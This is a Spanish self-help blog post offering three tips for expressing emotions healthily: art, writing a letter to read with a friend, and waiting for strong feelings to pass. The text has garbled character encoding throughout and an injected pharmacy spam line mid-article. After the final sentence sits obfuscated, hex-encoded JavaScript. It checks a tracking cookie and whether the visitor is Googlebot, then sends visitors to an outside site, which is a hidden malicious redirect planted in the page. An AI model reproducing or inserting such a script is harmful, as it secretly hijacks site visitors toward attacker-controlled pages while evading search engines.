3 consejos para expresar tus emociones sanamente

 

expresar tus emociones

Nuestros sentimientos y emociones no siempre son cosas sencillas de mostrar y en muchas ocasiones sentimos que hasta toman el control de nosotros.

Expresarte es importante por varias razones, entre la mas importante esta nuestra salud fAi??sica y emocional, uno pensara que no expresar nuestra ira o nuestra tristeza no causarA? nada en nosotros, pero la realidad es que nuestro cuerpo resiente lo que reprimimos y lo lleva hasta nuestro cuerpo en diferentes enfermedades.

Todo aquello que nos vamos guardando nos hace poco a poco menos felices, aparte de las enfermedades que abriga nuestro cuerpo nuestro bienestar psicolA?gico se ve afectado tambiAi??n de gran manera, nos sentimos mas irritables, mas sensibles, todo nos molesta y explotamos fA?cilmente en situaciones que despuAi??s nos damos cuenta que no lo ameritaba, A?porque pasa esto?, porque ante las situaciones mas fuertes nos guardamos lo que sentimos, se van sumando otras situaciones de igual importancia que seguimos sin expresar y cuando pasa algo mAi??nimo simplemente es la pizca que faltaba.

En este articulo te traigo algunos consejos, opciones o tips para que logres expresarte de una manera sana, tanto para ti como para los demas.

ARTE

expresar tus emociones

Siempre he dicho que la mejor manera de expresarte es a travAi??s del Arte, escribiendoAi?? poesAi??a, historias, pensamientos, aprendiendo algA?n instrumento, algA?n tipo de baile, el canto, la pintura, el teatro, etc. El arte es la mejor manera de desembocar la tristeza, el enojo, la felicidad, la ira, la frustraciA?n. Si algo te duele, que mejor manera de crear algo hermoso con ello que a travAi??s del arte.

AsAi?? que no dudes en tomar un lA?piz, un pincel o ponerle play a tu canciA?n favorita para expresarte.

 

ESCRIBIR UNA CARTA Y LEERLA A UN AMIG@

Zenegra for sale, order lioresal.

expresar tus emociones

Lo que mas nos preocupa de expresarnos es el hecho de comer decir las cosas, no sabemos si estamos siendo muy frAi??os, demasiado sensibles, si podemos ser hirientes o si al expresarnos parece que estamos tratando de crear algA?n conflicto. Una manera de poder lidiar con esto es hacer una carta y luego leerla con alguien de confianza para que nos de su opiniA?n acerca de como podrAi??amos complementarAi?? la manera de decir eso tan importante que queremos decir.

Pensar en como nos gustarAi??a que a nosotros nos dijeran las cosas tambiAi??n es una manera de crear empatAi??a.

 

ESPERAR A QUE PASEN LAS EMOCIONES

En este punto me refiero a que no es tan sabio hablar con las emociones y los sentimos a flor de piel, si estamos envueltos en una emociA?n tendemos a exagerar, a decir cosas que luego nos arrepentimos, a hablar de mas, esto porque la razA?n queda a un lado y solemos ser mas impulsivos.

Lo mejor es calmarnos, sea cual sea nuestra o nuestras emociones, respirar, pensar claro y despuAi??s hablar sobre las situaciones que queramos expresar.

 

Recuerda que la persona mas daAi??ada al guardar rencor, ira , tristeza, y cualquier emociA?n eres tu.Ai??var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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